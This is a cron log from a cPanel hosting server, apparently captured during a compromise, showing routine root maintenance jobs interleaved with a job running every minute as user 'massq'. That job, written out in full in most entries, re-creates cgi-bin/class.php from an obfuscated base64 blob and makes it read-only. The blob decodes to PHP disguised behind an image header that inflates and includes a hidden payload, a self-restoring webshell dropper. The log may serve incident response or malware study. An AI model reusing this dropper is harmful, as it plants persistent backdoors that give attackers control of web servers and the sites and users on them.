Sep  8 16:40:01 server CROND[19368]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 16:40:01 server CROND[19370]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 16:40:01 server CROND[19367]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 16:40:01 server CROND[19369]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 16:40:01 server CROND[19372]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 16:41:01 server CROND[20210]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 16:41:01 server CROND[20211]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 16:41:01 server CROND[20212]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 16:42:01 server CROND[20595]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 16:42:01 server CROND[20596]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 16:42:01 server CROND[20598]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 16:42:01 server CROND[20597]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 16:43:01 server CROND[20978]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 16:43:01 server CROND[20979]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 16:43:01 server CROND[20977]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 16:44:01 server CROND[21359]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 16:44:01 server CROND[21360]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 16:44:01 server CROND[21361]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 16:45:01 server CROND[21839]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 16:45:01 server CROND[21845]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 16:45:01 server CROND[21846]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 16:45:01 server CROND[21847]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 16:45:01 server CROND[21849]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 16:45:01 server CROND[21850]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 16:45:01 server CROND[21853]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 16:46:01 server CROND[22671]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 16:46:01 server CROND[22672]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 16:46:01 server CROND[22673]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 16:47:01 server CROND[23235]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 16:47:01 server CROND[23236]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 16:47:01 server CROND[23240]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 16:48:01 server CROND[23623]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 16:48:01 server CROND[23624]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 16:48:01 server CROND[23625]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 16:49:01 server CROND[24002]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 16:49:01 server CROND[24003]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 16:49:01 server CROND[24004]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 16:50:01 server CROND[24488]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 16:50:01 server CROND[24489]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 16:50:01 server CROND[24494]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 16:50:01 server CROND[24503]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 16:50:01 server CROND[24504]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 16:50:01 server CROND[24501]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 16:50:01 server CROND[24499]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 16:50:01 server CROND[24502]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 16:50:01 server CROND[24500]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 16:51:01 server CROND[25330]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 16:51:01 server CROND[25331]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 16:51:01 server CROND[25332]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 16:52:01 server CROND[25726]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
